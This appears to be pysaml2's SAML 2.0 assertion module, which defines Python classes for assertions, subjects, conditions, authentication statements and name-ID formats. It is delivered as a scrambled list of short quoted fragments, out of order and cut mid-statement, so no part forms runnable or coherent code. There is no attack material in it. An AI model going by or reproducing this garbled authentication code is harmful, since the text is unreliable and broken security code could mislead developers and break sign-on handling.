EncryptedElementType_.c_attributes.copy() c_child_order = EncryptedElementType_.c_child_order[:] c_cardinality", "= NAMESPACE c_value_type = {'base': 'string'} c_children = SamlBase.c_children.copy() c_attributes", "# subject as x509 key NAMEID_FORMAT_X509SUBJECTNAME = ( \"urn:oasis:names:tc:SAML:1.1:nameid-format:X509SubjectName\") #", "AuthnContext, 'AuthnContextType': AuthnContextType_, 'AuthnContextClassRef': AuthnContextClassRef, 'AuthnContextDeclRef': AuthnContextDeclRef, 'AuthnContextDecl': AuthnContextDecl, 'AuthenticatingAuthority':", ") if text: #print(\"set_text:\", tree.text) # clear type #self.clear_type() self.set_text(text)", "from saml2.validate import ShouldValueError from saml2.validate import valid_domain_name import saml2", "= encrypted_assertion or [] def advice_type__from_string(xml_string): return saml2.create_class_from_xml_string(AdviceType_, xml_string) class", "[] def attribute_statement_type__from_string(xml_string): return saml2.create_class_from_xml_string(AttributeStatementType_, xml_string) class SubjectType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectType", "audience_restriction=None, one_time_use=None, proxy_restriction=None, not_before=None, not_on_or_after=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text,", "if xsd_string is None else ['', ''] if xsd_string ==", "'NameIDType': NameIDType_, 'EncryptedElementType': EncryptedElementType_, 'EncryptedID': EncryptedID, 'Issuer': Issuer, 'AssertionIDRef': AssertionIDRef,", "['Assertion', 'AssertionType', 'AdviceType', 'Advice'] class AssertionType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AssertionType element \"\"\"", "'dateTime', False) c_attributes['NotOnOrAfter'] = ('not_on_or_after', 'dateTime', False) c_attributes['Recipient'] = ('recipient',", "saml2.create_class_from_xml_string(AuthnContextDeclRef, xml_string) class AuthnContextDecl(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextDecl element \"\"\" c_tag =", "elif not extension_elements: self.extension_attributes = {XSI_NIL: 'true'} elif XSI_TYPE in", "{\"min\": 0, \"max\": 1} c_attributes['Method'] = ('method', 'anyURI', True) c_child_order.extend(['base_id',", "identifiers in a number of different formats. SAML's predefined formats", "in the instance members from the contents of the XML", "return saml2.create_class_from_xml_string(EncryptedID, xml_string) class Issuer(NameIDType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Issuer element \"\"\" c_tag", "'ConditionsType': ConditionsType_, 'Condition': Condition, 'AudienceRestriction': AudienceRestriction, 'AudienceRestrictionType': AudienceRestrictionType_, 'Audience': Audience,", "avaiable in encrypted format NAMEID_FORMAT_ENCRYPTED = ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:encrypted\") # dicc", "insignificant # and remove/trim/strip whitespace # and expect to not", "Conditions(ConditionsType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Conditions element \"\"\" c_tag = 'Conditions' c_namespace =", "determine wether consent has been given and under # what", "NAME_FORMAT_UNSPECIFIED), ) # the SAML authority's decision can be predetermined", "extension_attributes=extension_attributes) self.authn_context_class_ref = authn_context_class_ref self.authn_context_decl = authn_context_decl self.authn_context_decl_ref = authn_context_decl_ref", "extension_attributes=None): StatementAbstractType_.__init__( self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.attribute = attribute or", "= 'AuthzDecisionStatement' c_namespace = NAMESPACE c_children = AuthzDecisionStatementType_.c_children.copy() c_attributes =", "b64encode except ImportError: from base64 import b64encode from saml2.validate import", "# Fill in the instance members from the contents of", "authn_context=None, authn_instant=None, session_index=None, session_not_on_or_after=None, text=None, extension_elements=None, extension_attributes=None): StatementAbstractType_.__init__( self, text=text,", "class OneTimeUseType_(ConditionAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:OneTimeUseType element \"\"\" c_tag = 'OneTimeUseType' c_namespace", "= ProxyRestrictionType_.c_children.copy() c_attributes = ProxyRestrictionType_.c_attributes.copy() c_child_order = ProxyRestrictionType_.c_child_order[:] c_cardinality =", "= authz_decision_statement or [] self.attribute_statement = attribute_statement or [] self.version", "def verify(self): if self.address: # dotted-decimal IPv4 or RFC3513 IPv6", "authn_context_from_string, AuthnContextType_.c_tag: authn_context_type__from_string, AuthnContextClassRef.c_tag: authn_context_class_ref_from_string, AuthnContextDeclRef.c_tag: authn_context_decl_ref_from_string, AuthnContextDecl.c_tag: authn_context_decl_from_string, AuthenticatingAuthority.c_tag:", "c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}BaseID'] = ('base_id', BaseID)", "SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() class SubjectLocalityType_(SamlBase): \"\"\"The", "ConditionAbstractType_.c_child_order[:] c_cardinality = ConditionAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Audience'] = ('audience', [Audience]) c_cardinality['audience'] =", "# cast to correct type before type-checking if type(value) is", "\"urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress\") # subject as x509 key NAMEID_FORMAT_X509SUBJECTNAME = ( \"urn:oasis:names:tc:SAML:1.1:nameid-format:X509SubjectName\")", "{\"min\": 0, \"max\": 1} c_attributes['Resource'] = ('resource', 'anyURI', True) c_attributes['Decision']", "its content. SCM_SENDER_VOUCHES = \"urn:oasis:names:tc:SAML:2.0:cm:sender-vouches\" # a bearer token is", "{ BaseID.c_tag: base_id_from_string, NameID.c_tag: name_id_from_string, NameIDType_.c_tag: name_id_type__from_string, EncryptedElementType_.c_tag: encrypted_element_type__from_string, EncryptedID.c_tag:", "'EvidenceType', 'AdviceType', 'Evidence', # 'Assertion', 'AssertionType', 'AuthzDecisionStatementType', 'Advice'] class EvidenceType_(SamlBase):", "The specification was later updated with errata, and the new", "OneTimeUseType_.c_child_order[:] c_cardinality = OneTimeUseType_.c_cardinality.copy() def one_time_use_from_string(xml_string): return saml2.create_class_from_xml_string(OneTimeUse, xml_string) class", "'type': float, 'to_type': float, 'to_text': _str, }, 'double': { 'type':", "def __init__(self, issuer=None, signature=None, subject=None, conditions=None, advice=None, statement=None, authn_statement=None, authz_decision_statement=None,", "domain qualified name, Kerberos principal name, Entity identifier, Persistent identifier,", "= ( 'action', [Action]) c_cardinality['action'] = {\"min\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Evidence'] =", "float, 'to_text': _str, }, 'boolean': { 'type': bool, 'to_type': lambda", "c_tag = 'Action' c_namespace = NAMESPACE c_children = ActionType_.c_children.copy() c_attributes", "name, Kerberos principal name, Entity identifier, Persistent identifier, Transient identifier.\"", "subject NAMEID_FORMAT_UNSPECIFIED = ( \"urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified\") # subject as email address", "authenticating_authority=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.authn_context_class_ref =", "class AudienceRestriction(AudienceRestrictionType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AudienceRestriction element \"\"\" c_tag = 'AudienceRestriction' c_namespace", "= ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:persistent\") # annonymous subject NAMEID_FORMAT_TRANSIENT = ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:transient\")", "or [] self.encrypted_assertion = encrypted_assertion or [] def advice_type__from_string(xml_string): return", "the SAML authority cannot determine if the action is permitted", "class AuthnContext(AuthnContextType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContext element \"\"\" c_tag = 'AuthnContext' c_namespace", "('NAMEID_FORMAT_ENTITY', NAMEID_FORMAT_ENTITY), ('NAMEID_FORMAT_PERSISTENT', NAMEID_FORMAT_PERSISTENT), ('NAMEID_FORMAT_TRANSIENT', NAMEID_FORMAT_TRANSIENT), ('NAMEID_FORMAT_UNSPECIFIED', NAMEID_FORMAT_UNSPECIFIED), ) #", "return saml2.create_class_from_xml_string(Issuer, xml_string) class AssertionIDRef(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AssertionIDRef element \"\"\" c_tag", "except (TypeError, ValueError, KeyError): # the cast failed _wrong_type_value(xsd=xsd_type, value=value)", "= SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AssertionIDRef'] =", "or [] self.assertion_uri_ref = assertion_uri_ref or [] self.assertion = assertion", "= AuthnContextType_.c_children.copy() c_attributes = AuthnContextType_.c_attributes.copy() c_child_order = AuthnContextType_.c_child_order[:] c_cardinality =", "class AuthnStatement(AuthnStatementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnStatement element \"\"\" c_tag = 'AuthnStatement' c_namespace", "'long': { 'type': int, 'to_type': int, 'to_text': _str, }, 'float':", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Subject element \"\"\" c_tag = 'Subject' c_namespace = NAMESPACE", "this node # we consider whitespace insignificant # and remove/trim/strip", "assertion_id_ref or [] self.assertion_uri_ref = assertion_uri_ref or [] self.assertion =", "SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Condition'] = ( 'condition', [Condition]) c_cardinality['condition'] = {\"min\": 0}", "AssertionType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AssertionType element \"\"\" c_tag = 'AssertionType' c_namespace =", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthzDecisionStatement element \"\"\" c_tag = 'AuthzDecisionStatement' c_namespace = NAMESPACE", "= 'http://www.w3.org/2001/XMLSchema' # xmlschema-instance, which contains several builtin attributes XSI_NAMESPACE", "decision_type__from_string, Action.c_tag: action_from_string, ActionType_.c_tag: action_type__from_string, Evidence.c_tag: evidence_from_string, EvidenceType_.c_tag: evidence_type__from_string, AttributeStatement.c_tag:", "= {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Assertion'] = ( 'assertion', [Assertion]) c_cardinality['assertion'] =", "del self.extension_attributes[XSI_NIL] except (AttributeError, KeyError): pass try: self.extension_attributes[XSI_TYPE] = typ", "should not have extension attributes\" ) if self.extension_attributes[XSI_NIL] != \"true\":", "# Generated Mon May 2 14:23:33 2011 by parse_xsd.py version", "c_cardinality['subject_confirmation'] = {\"min\": 0} c_child_order.extend(['base_id', 'name_id', 'encrypted_id', 'subject_confirmation']) def __init__(self,", "saml2.create_class_from_xml_string(NameIDType_, xml_string) class EncryptedElementType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EncryptedElementType element \"\"\" c_tag =", "self.method = method def subject_confirmation_type__from_string(xml_string): return saml2.create_class_from_xml_string(SubjectConfirmationType_, xml_string) class AudienceRestriction(AudienceRestrictionType_):", "text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.condition = condition or [] self.audience_restriction =", "Conditions, 'ConditionsType': ConditionsType_, 'Condition': Condition, 'AudienceRestriction': AudienceRestriction, 'AudienceRestrictionType': AudienceRestrictionType_, 'Audience':", "c_cardinality = AuthnStatementType_.c_cardinality.copy() def authn_statement_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnStatement, xml_string) class AttributeStatement(AttributeStatementType_):", "we have added a text node # or other children", "in self.extension_attributes: del self.extension_attributes[XSI_NIL] class BaseIDAbstractType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:BaseIDAbstractType element \"\"\"", "('count', 'nonNegativeInteger', False) c_child_order.extend(['audience']) def __init__(self, audience=None, count=None, text=None, extension_elements=None,", "# http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0.pdf # the 3rd party is identified on behalf", "return saml2.create_class_from_xml_string(AssertionIDRef, xml_string) class AssertionURIRef(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AssertionURIRef element \"\"\" c_tag", "lambda x: None, 'to_text': lambda x: '', }, } xsd_string", "authn_context_type__from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContextType_, xml_string) class Action(ActionType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Action element \"\"\"", "contain a subject element\") if self.authn_statement and not self.subject: raise", "'string', False) def __init__(self, address=None, dns_name=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self,", "ConditionAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Audience'] = ('audience', [Audience]) c_cardinality['audience'] = {\"min\": 1} c_child_order.extend(['audience'])", "SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Condition'] = (", "= 'AuthnStatement' c_namespace = NAMESPACE c_children = AuthnStatementType_.c_children.copy() c_attributes =", "}[_str(x).lower()], 'to_text': lambda x: _str(x).lower(), }, 'base64Binary': { 'type': _str,", "def harvest_element_tree(self, tree): tree.attrib.setdefault('NameFormat', NAME_FORMAT_UNSPECIFIED) SamlBase.harvest_element_tree(self, tree) def attribute_type__from_string(xml_string): return", "c_children = AdviceType_.c_children.copy() c_attributes = AdviceType_.c_attributes.copy() c_child_order = AdviceType_.c_child_order[:] c_cardinality", "of the subject given private/public key SCM_HOLDER_OF_KEY = \"urn:oasis:names:tc:SAML:2.0:cm:holder-of-key\" #", "address def subject_confirmation_data_type__from_string(xml_string): return saml2.create_class_from_xml_string(SubjectConfirmationDataType_, xml_string) class KeyInfoConfirmationDataType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:KeyInfoConfirmationDataType", "c_attributes = ConditionsType_.c_attributes.copy() c_child_order = ConditionsType_.c_child_order[:] c_cardinality = ConditionsType_.c_cardinality.copy() def", "class Evidence(EvidenceType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Evidence element \"\"\" c_tag = 'Evidence' c_namespace", "True, 'false': False, }[_str(x).lower()], 'to_text': lambda x: _str(x).lower(), }, 'base64Binary':", "def audience_restriction_from_string(xml_string): return saml2.create_class_from_xml_string(AudienceRestriction, xml_string) class AuthnContext(AuthnContextType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContext element", "= name_qualifier self.sp_name_qualifier = sp_name_qualifier self.format = format self.sp_provided_id =", "= friendly_name # when consuming such elements, default to NAME_FORMAT_UNSPECIFIED", "c_child_order.extend(['base_id', 'name_id', 'encrypted_id', 'subject_confirmation_data']) def __init__(self, base_id=None, name_id=None, encrypted_id=None, subject_confirmation_data=None,", "a security header # signing its content. SCM_SENDER_VOUCHES = \"urn:oasis:names:tc:SAML:2.0:cm:sender-vouches\"", ") return True else: SamlBase.verify(self) def set_type(self, typ): try: del", "if xsd_string in xsd_types_props else '', xsd_string ] if ':'", "c_tag = 'EncryptedElementType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes", "XS_NAMESPACE if typ.startswith('xsd:'): try: self.extension_attributes['xmlns:xsd'] = XS_NAMESPACE except AttributeError: self._extatt['xmlns:xsd']", "return saml2.create_class_from_xml_string(Conditions, xml_string) class AuthnStatement(AuthnStatementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnStatement element \"\"\" c_tag", "id self.issue_instant = issue_instant def verify(self): # If no statement", "email address NAMEID_FORMAT_EMAILADDRESS = ( \"urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress\") # subject as x509", "type # - a function to turn a string into", "\"urn:oasis:names:tc:SAML:2.0:consent:unspecified\" # consent has been obtained CONSENT_OBTAINED = \"urn:oasis:names:tc:SAML:2.0:consent:obtained\" #", "for SAML attributes PROFILE_ATTRIBUTE_BASIC = ( \"urn:oasis:names:tc:SAML:2.0:profiles:attribute:basic\") # an AuthnRequest", "KeyError: return \"\" def clear_type(self): try: del self.extension_attributes[XSI_TYPE] except KeyError:", "_str, 'to_type': _str, 'to_text': _str, }, 'integer': { 'type': int,", "self.name_qualifier = name_qualifier self.sp_name_qualifier = sp_name_qualifier class NameIDType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:NameIDType", "c_child_order.extend(['subject_locality', 'authn_context']) def __init__(self, subject_locality=None, authn_context=None, authn_instant=None, session_index=None, session_not_on_or_after=None, text=None,", "self.signature = signature self.subject = subject self.conditions = conditions self.advice", "saml2.create_class_from_xml_string(AttributeStatementType_, xml_string) class SubjectType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectType element \"\"\" c_tag =", "from saml2 import xmlenc as xenc # authentication information fields", "= audience or [] def audience_restriction_type__from_string(xml_string): return saml2.create_class_from_xml_string(AudienceRestrictionType_, xml_string) class", "xsd_ns, xsd_type = ( ['', type(None)] if xsd_string is None", "= SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def authenticating_authority_from_string(xml_string): return saml2.create_class_from_xml_string(AuthenticatingAuthority, xml_string)", "return saml2.create_class_from_xml_string(AuthnStatement, xml_string) class AttributeStatement(AttributeStatementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AttributeStatement element \"\"\" c_tag", "subject as windows domain name NAMEID_FORMAT_WINDOWSDOMAINQUALIFIEDNAME = ( \"urn:oasis:names:tc:SAML:1.1:nameid-format:WindowsDomainQualifiedName\") #", "name_qualifier=None, sp_name_qualifier=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.name_qualifier", "('NAMEID_FORMAT_TRANSIENT', NAMEID_FORMAT_TRANSIENT), ('NAMEID_FORMAT_UNSPECIFIED', NAMEID_FORMAT_UNSPECIFIED), ) # a profile outlines a", "or [] self.version = version self.id = id self.issue_instant =", "element \"\"\" c_tag = 'OneTimeUseType' c_namespace = NAMESPACE c_children =", "attribute_value or [] self.name = name self.name_format = name_format self.friendly_name", "type(value) is not valid_type: _wrong_type_value(xsd=xsd_type, value=value) text = to_text(value) self.set_type(", "0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}NameID'] = ('name_id', NameID) c_cardinality['name_id'] = {\"min\":", "[] self.encrypted_assertion = encrypted_assertion or [] def evidence_type__from_string(xml_string): return saml2.create_class_from_xml_string(EvidenceType_,", "= StatementAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}SubjectLocality'] = ( 'subject_locality', SubjectLocality) c_cardinality['subject_locality'] = {\"min\":", "'Issuer' c_namespace = NAMESPACE c_children = NameIDType_.c_children.copy() c_attributes = NameIDType_.c_attributes.copy()", "c_namespace = NAMESPACE c_children = AuthnContextType_.c_children.copy() c_attributes = AuthnContextType_.c_attributes.copy() c_child_order", "the following pdf. # http://docs.oasis-open.org/security/saml/v2.0/saml-core-2.0-os.pdf # The specification was later", "EncryptedElementType_.c_child_order[:] c_cardinality = EncryptedElementType_.c_cardinality.copy() def encrypted_assertion_from_string(xml_string): return saml2.create_class_from_xml_string(EncryptedAssertion, xml_string) class", "if six.PY2 else str if isinstance(value, six.binary_type): value = value.decode('utf-8')", "AudienceRestrictionType_, 'Audience': Audience, 'OneTimeUse': OneTimeUse, 'OneTimeUseType': OneTimeUseType_, 'ProxyRestriction': ProxyRestriction, 'ProxyRestrictionType':", "elif XSI_TYPE in self.extension_attributes: del self.extension_attributes[XSI_TYPE] def __setattr__(self, key, value):", "('key_info', [ds.KeyInfo]) c_cardinality['key_info'] = {\"min\": 1} c_child_order.extend(['key_info']) def __init__(self, key_info=None,", "('session_not_on_or_after', 'dateTime', False) c_child_order.extend(['subject_locality', 'authn_context']) def __init__(self, subject_locality=None, authn_context=None, authn_instant=None,", "saml2 import xmldsig as ds from saml2 import xmlenc as", "on behalf of the subject given private/public key SCM_HOLDER_OF_KEY =", "identifier, Persistent identifier, Transient identifier.\" \"\"\" c_tag = 'NameID' c_namespace", "{\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AudienceRestriction'] = ( 'audience_restriction', [AudienceRestriction]) c_cardinality['audience_restriction'] = {\"min\":", "c_cardinality = SamlBase.c_cardinality.copy() def assertion_id_ref_from_string(xml_string): return saml2.create_class_from_xml_string(AssertionIDRef, xml_string) class AssertionURIRef(SamlBase):", "authz_decision_statement_type__from_string(xml_string): return saml2.create_class_from_xml_string(AuthzDecisionStatementType_, xml_string) class AuthzDecisionStatement(AuthzDecisionStatementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthzDecisionStatement element \"\"\"", "= SamlBase.c_cardinality.copy() def authn_context_class_ref_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContextClassRef, xml_string) class AuthnContextDeclRef(SamlBase): \"\"\"The", "# ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ EvidenceType_.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Assertion'] = ( 'assertion', [Assertion]) Evidence.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Assertion'] = (", "a corresponding python type # - a function to turn", "by parse_xsd.py version 0.4. # # A summary of available", "for xmlschemas XSI_NIL = '{%s}nil' % XSI_NAMESPACE # idp and", "\"\"\" c_tag = 'EncryptedAssertion' c_namespace = NAMESPACE c_children = EncryptedElementType_.c_children.copy()", "= SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_attributes['Address'] =", "BaseIDAbstractType_.c_attributes.copy() c_child_order = BaseIDAbstractType_.c_child_order[:] c_cardinality = BaseIDAbstractType_.c_cardinality.copy() def base_id_from_string(xml_string): return", "XML-based format NAME_FORMAT_BASIC = \"urn:oasis:names:tc:SAML:2.0:attrname-format:basic\" # dicc for avaiable formats", "Subject.c_tag: subject_from_string, SubjectType_.c_tag: subject_type__from_string, SubjectConfirmation.c_tag: subject_confirmation_from_string, SubjectConfirmationType_.c_tag: subject_confirmation_type__from_string, SubjectConfirmationData.c_tag: subject_confirmation_data_from_string,", "= {} SamlBase.__init__(self, text=None, extension_elements=extension_elements, extension_attributes=extension_attributes) if self._extatt: self.extension_attributes =", "def __init__(self, subject_locality=None, authn_context=None, authn_instant=None, session_index=None, session_not_on_or_after=None, text=None, extension_elements=None, extension_attributes=None):", "'authz_decision_statement', [AuthzDecisionStatement]) c_cardinality['authz_decision_statement'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AttributeStatement'] = ( 'attribute_statement',", "[] def audience_restriction_type__from_string(xml_string): return saml2.create_class_from_xml_string(AudienceRestrictionType_, xml_string) class OneTimeUse(OneTimeUseType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:OneTimeUse", "0} c_attributes['Name'] = ('name', 'string', True) c_attributes['NameFormat'] = ('name_format', 'anyURI',", "SubjectConfirmationData(SubjectConfirmationDataType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmationData element \"\"\" c_tag = 'SubjectConfirmationData' c_namespace =", "is identified by subject confirmation and must include a security", "AuthnContextType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextType element \"\"\" c_tag = 'AuthnContextType' c_namespace =", "{\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Subject'] = ('subject', Subject) c_cardinality['subject'] =", "c_cardinality = SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Issuer'] = ('issuer', Issuer) c_children['{http://www.w3.org/2000/09/xmldsig#}Signature'] = ('signature',", "AuthnContextDecl) c_cardinality['authn_context_decl'] = {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContextDeclRef'] = (", "extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.name_qualifier = name_qualifier self.sp_name_qualifier =", "base_id self.name_id = name_id self.encrypted_id = encrypted_id self.subject_confirmation = subject_confirmation", "urn:oasis:names:tc:SAML:2.0:assertion:EncryptedElementType element \"\"\" c_tag = 'EncryptedElementType' c_namespace = NAMESPACE c_children", "assertion_uri_ref_from_string, Assertion.c_tag: assertion_from_string, AssertionType_.c_tag: assertion_type__from_string, Subject.c_tag: subject_from_string, SubjectType_.c_tag: subject_type__from_string, SubjectConfirmation.c_tag:", "NameIDType_.c_children.copy() c_attributes = NameIDType_.c_attributes.copy() c_child_order = NameIDType_.c_child_order[:] c_cardinality = NameIDType_.c_cardinality.copy()", "element \"\"\" c_tag = 'Action' c_namespace = NAMESPACE c_children =", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnStatementType element \"\"\" c_tag = 'AuthnStatementType' c_namespace = NAMESPACE", "AuthnStatement.c_tag: authn_statement_from_string, AuthnStatementType_.c_tag: authn_statement_type__from_string, SubjectLocality.c_tag: subject_locality_from_string, SubjectLocalityType_.c_tag: subject_locality_type__from_string, AuthnContext.c_tag: authn_context_from_string,", "= {\"min\": 0} c_child_order.extend(['assertion_id_ref', 'assertion_uri_ref', 'assertion', 'encrypted_assertion']) def __init__(self, assertion_id_ref=None,", "# signing its content. SCM_SENDER_VOUCHES = \"urn:oasis:names:tc:SAML:2.0:cm:sender-vouches\" # a bearer", "value): msg = 'Type and value do not match: {xsd}:{type}:{value}'", "= ('address', 'string', False) c_attributes['DNSName'] = ('dns_name', 'string', False) def", "into that type # - a function to turn that", "NAMESPACE c_children = AttributeType_.c_children.copy() c_attributes = AttributeType_.c_attributes.copy() c_child_order = AttributeType_.c_child_order[:]", "xml_string) class AuthnContextDeclRef(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextDeclRef element \"\"\" c_tag = 'AuthnContextDeclRef'", "self.attribute_statement or self.statement or \\ self.authn_statement or self.authz_decision_statement: pass elif", "del self.extension_attributes[XSI_NIL] class BaseIDAbstractType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:BaseIDAbstractType element \"\"\" c_tag =", "EvidenceType_.c_tag: evidence_type__from_string, AttributeStatement.c_tag: attribute_statement_from_string, AttributeStatementType_.c_tag: attribute_statement_type__from_string, Attribute.c_tag: attribute_from_string, AttributeType_.c_tag: attribute_type__from_string,", "c_attributes = SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_attributes['Namespace']", "= 'AdviceType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes =", "nil marker if text or self.extension_elements: if XSI_NIL in self.extension_attributes:", "0} c_attributes['NotBefore'] = ('not_before', 'dateTime', False) c_attributes['NotOnOrAfter'] = ('not_on_or_after', 'dateTime',", "\"\"\" c_tag = 'Advice' c_namespace = NAMESPACE c_children = AdviceType_.c_children.copy()", "StatementAbstractType_.c_attributes.copy() c_child_order = StatementAbstractType_.c_child_order[:] c_cardinality = StatementAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Attribute'] = (", "c_tag = 'AssertionIDRef' c_namespace = NAMESPACE c_value_type = {'base': 'NCName'}", "# Subject confirmation methods(scm), can be issued, besides the subject", "SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children[ '{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContextClassRef'] = ( 'authn_context_class_ref', AuthnContextClassRef)", "specified action is denied DECISION_TYPE_DENY = \"Deny\" # the SAML", "else: SamlBase.__setattr__(self, key, value) def verify(self): if not self.text and", "node # or other children to this node # remove", "DECISION_TYPE_DENY = \"Deny\" # the SAML authority cannot determine if", "NameFormat def harvest_element_tree(self, tree): tree.attrib.setdefault('NameFormat', NAME_FORMAT_UNSPECIFIED) SamlBase.harvest_element_tree(self, tree) def attribute_type__from_string(xml_string):", "text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.name_qualifier = name_qualifier self.sp_name_qualifier = sp_name_qualifier class", "'Type and value do not match: {xsd}:{type}:{value}' msg = msg.format(xsd=xsd,", "if we have added a text node # or other", "{ 'type': int, 'to_type': int, 'to_text': _str, }, 'int': {", "definition XSD = \"xs\" # xmlschema templates and extensions XS_NAMESPACE", "= SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{http://www.w3.org/2000/09/xmldsig#}KeyInfo'] = ('key_info', [ds.KeyInfo]) c_cardinality['key_info']", "= SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def decision_type__from_string(xml_string):", "authority cannot determine if the action is permitted or denied", "def __init__(self, action=None, evidence=None, resource=None, decision=None, text=None, extension_elements=None, extension_attributes=None): StatementAbstractType_.__init__(", "'Evidence', # 'Assertion', 'AssertionType', 'AuthzDecisionStatementType', 'Advice'] class EvidenceType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EvidenceType", "to initiate authentication # authenticate the request with login credentials", "AttributeError): try: return self._extatt[XSI_TYPE] except KeyError: return \"\" def clear_type(self):", "('audience', [Audience]) c_cardinality['audience'] = {\"min\": 0} c_attributes['Count'] = ('count', 'nonNegativeInteger',", "c_attributes = AuthnContextType_.c_attributes.copy() c_child_order = AuthnContextType_.c_child_order[:] c_cardinality = AuthnContextType_.c_cardinality.copy() def", "# If no statement MUST contain a subject element if", "ValueError(msg) # only work with six.string_types _str = unicode if", "SubjectLocalityType_, 'AuthnContext': AuthnContext, 'AuthnContextType': AuthnContextType_, 'AuthnContextClassRef': AuthnContextClassRef, 'AuthnContextDeclRef': AuthnContextDeclRef, 'AuthnContextDecl':", "saml2.create_class_from_xml_string(EncryptedElementType_, xml_string) class 